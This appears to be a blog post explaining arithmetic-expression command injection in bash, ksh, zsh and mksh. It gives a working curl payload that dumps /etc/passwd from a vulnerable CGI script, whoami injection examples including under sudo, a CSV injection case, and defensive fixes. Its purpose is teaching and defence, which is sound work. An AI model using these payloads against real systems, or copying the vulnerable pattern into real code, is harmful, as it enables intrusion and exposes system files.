Is it vulnerable?
Here is the simple Bash script called index.cgi
.
It is supposed to be used as CGI.
It gets parameter called num
provided by a client and checks whether the num
equals to 100 or not.
#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
echo "OK"
else
echo "NG"
fi
It works fine like this.
$ curl -d num=100 http://localhost/index.cgi
OK
$ curl -d num=101 http://localhost/index.cgi
NG
And also, empty, non-digit, and any other invalid parameters are rejected properly.
$ curl http://localhost/index.cgi
NG
$ curl -d num='' http://localhost/index.cgi
NG
$ curl -d num=abcdefg http://localhost/index.cgi
NG
$ curl -d num='true ]] && [[ 100' http://localhost/index.cgi
NG
$ curl -d num='\\;"\\"""""";;;~``~\\' http://localhost/index.cgi
NG
Perfect.
It is secure enough, isn't it?
However, this script is actually EXPLOITABLE.
It has the arbitrary code execution vulnerability.
Can you guess which line is problem?
#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
echo "OK"
else
echo "NG"
fi
Think 1 minute...
...
Did you get it?
The problem is this line.
if [[ "$NUM" -eq 100 ]];then
Let's execute this command.
$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
And here is the result.
/etc/passwd
of the Web server is exposed! Yay!
$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG
This behavior may also cause CSV injection, privilege escalation and etc (see later).
Let me explain the technical reason of this phenomenon.
Before you read
This article is based on the report (Japanese) written by @yamaya.
All the samples in this article were checked with following versions.
$ bash --version
GNU bash, version 5.0.0(1)-release (x86_64-pc-linux-gnu)
$ ksh --version
version sh (AT&T Research) 93u+ 2012-08-01
$ zsh --version
zsh 5.4.2 (x86_64-ubuntu-linux-gnu)
$ mksh -c 'echo $KSH_VERSION'
@(#)MIRBSD KSH R56 2018/01/14
Please note that first PoC only works with bash
and mksh
as far as I investigated.
But similar behavior is confirmed with zsh
and ksh-like shells (ksh
, pdksh
) as mentioned later.
ash
and dash
are not affected as far as I know.
Arithmetic expression of shell script
Not only bash
but also zsh
, ksh
and etc ... evaluate integer type variable as same as common programming languages.
However, it is not just evaluated as "integer number" but "Arithmetic expression".
"Arithmetic expression" means the variety of expressions for mathematical calculations like various operators, array, assignment and so on.
For bash, see manual 6.5 Shell Arithmetic.
The way of evaluation of Arithmetic expression causes the unintentional behavior.
For example, here is a simple script called hoge.sh
(this sample is came from the reported article).
#!/bin/bash
typeset -i n # declare "n" as integer type ("typeset" is same as "declare")
a=5
n="$1"
echo "$a"
It just prints the value of a
.
This script is expected to print 5
ANYTIME.
Even if any values provided by user, n
is only affected and a
is NOT affected.
Is it OK so far ?
However, unexpected result is shown when the argument is a=10
.
$ ./hoge.sh a=10
10
Why is this happening ?
Because the argument was evaluated as "Arithmetic expression".
Here is the Bash's manual that explains this behavior.
4.2 Bash Builtin Commands - Bash Reference Manual
declare
...
-i
The variable is to be treated as an integer; arithmetic evaluation (see Shell Arithmetic) is performed when the variable is assigned a value.
As you can see, n
was declared by typeset -i
.
Then, n="$1"
does NOT means n
is assigned the value of $1.
It means n
is assigned the result of $1 that evaluated as arithmetic expression.
Because n
is declared as integer, therefore evaluation is implemented when this variable is assigned value.
The value of a
is overwritten because a=10
is properly evaluated since it has the correct operator (assignment) as the arithmetic expression.
6.5 Shell Arithmetic - Bash Reference Manual
= *= /= %= += -= <<= >>= &= = |=
assignment
It looks like unintuitive but it is clearly documented on the bash's manual.
Please note that, this is same as zsh
, ksh
and other shells.
$ ./hoge.zsh a=10
10
./hoge.ksh a=10
10
In this case, n
is assigned $1
by =
operator.
However, this evaluation is going to be implemented even though the assignment is conducted by read n
(to use stdin as the value) or n=$(command)
(to use the result of the command
as the value).
Let me explain one more advanced example.
It is not commonly known but any external commands can be called as an arithmetic expression.
As you may know, Shell supports Array.
Arrays - Bash Reference Manual
name[subscript]=value
And it can be interpreted as an arithmetic expression.
$ (( x[0]=1, x[1]=2 ))
$ echo "${x[*]}"
1 2
In addition, command substitution $(command)
can be stated as the subscript of array like this.
$ (( x[$(echo 0)]=100 ))
$ echo "${x[0]}"
100
That means, x[$(command)]
is GRAMMATICALLY CORRECT AS AN ARITHMETIC EXPRESSION.
Wow, that's interesting!
Let's modify above example as following.
$ ./hoge.sh 'x[$(whoami>&2)]'
myuser
5
As you can see, whoami
command is executed and user name myuser
is shown.
Please note that whoami
is NOT evaluated on the current shell.
It's clear if you run this example with sudo
.
$ sudo ./hoge.sh 'x[$(whoami>&2)]'
root
5
If $(whoami>&2)
is evaluated on the current shell, the result must be myuser
not root
.
That means hoge.sh
is executed as the privileged process and whoami
prints root
in the same process.
Other affected expressions
Not only typeset -i
but also other syntaxes like $(( ... ))
and $[ ... ]
for Arbitrary expression perform same procedure.
#!/bin/bash
a=5
n=$(( $1 ))
echo "$a"
$ sudo ./script.sh 'x[$(whoami>&2)]'
root
5
Surprisingly, arithmetic binary operators (like -eq
, -le
) used within the [[ ... ]]
are also same.
That means an operand of the operator is evaluated as Arithmetic expression.
#!/bin/bash
if [[ $1 -eq 0 ]]; then
a=0
else
a=1
fi
$ sudo ./script.sh 'x[$(whoami>&2)]'
root
In shell script, evaluation of arithmetic expression is performed in various situations.
For example, offset
and length
used in the parameter expansion ${var:offset:length}
is also evaluated as arithmetic expression.
CSV Injection
The author of the original report introduced following script that causes CSV Injection. This script just loads the CSV file and run simple calculation for each line.
#!/bin/bash
csv="foo.csv"
while IFS=, read item price num; do
echo "$item,$((price*num))"
done < "$csv"
But if the CSV file includes malicious input like this, an arbitrary command is executed.
hoge,100,x[$(whoami>&2)]
Workaround
Next, let me discuss how to suppress malicious attacks from shell script.
The point is that to be nervous about external input.
Check input as string
=~
operator that compares the string value does not evaluates the value as arithmetic expression.
If the value supposed to be digit numbers, check with regular expression in advance.
#!/bin/bash
typeset -i n
a="$1"
[[ $a =~ ^[0-9]*$ ]] && n=$a
Use external command as much as possible
Originally, shell is the "glue" language to combine multiple commands.
Why don't you utilize external commands?
For example, [ ... ]
expression is not affected from this problem.
Because it does not interpret builtin arithmetic expression of the shell since [
is individual command.
$ which [
/usr/bin/[
Therefore, this script is NOT vulnerable.
#!/bin/bash
if [ "$1" -eq 0 ]; then
a=0
else
a=1
fi
./script.sh 'x[$(whoami>&2)]'
./script.sh: line 2: [: x[$(whoami>&2)]: integer expression expected
Let me introduce one more example.
bashcms is the Content management system (CMS) written in Bash created by @ryuichiueda.
He has published his own Web site on this CMS for more than 6 years.
However, he has never experienced security issues and performance issues (as he said in his book).
"bashcms" filters all the input with external command since it does not store user input to the shell variables directly.
bashcms2/blob/master/bin/index.cgi
dir="$(tr -dc 'a-zA-Z0-9_=' <<< ${QUERY_STRING} | sed 's;=;s/;')"
Again: Is it vulnerability ?
This behavior is very unintuitive.
As you can see, this behavior may be used for malicious attacks.
For that reason, the author of original article reports this issue to IPA1.
However, IPA judges that it is not the problem of interpreter itself.
Therefore, the developer should take care of this issue.
Yeah, that may be technically right.
Actually, as I introduced, this behavior is documented on shell's manual.
Not only bash
, but also mksh
has also the small warning message on its manual about it.
Warning: This also affects implicit conversion to integer, for example as done by the let command. Never use unchecked user input, e.g. from the environment, in an arithmetic context!
How do you think about this behavior ?
Do you think this is vulnerability ? or Shell's expected behavior?
Do you have any other ideas how to write secure code ?
Please comment and let us discuss :)
-
IPA: Information-technology Promotion Agency. The organization that organizes various ICT activities for Japanese citizens. This is kind of public organization because Japanese government support it financially. Japanese software engineers can report a software vulnerability to this organization so that they can escalate it into other stakeholders if necessary. ↩
Top comments (0)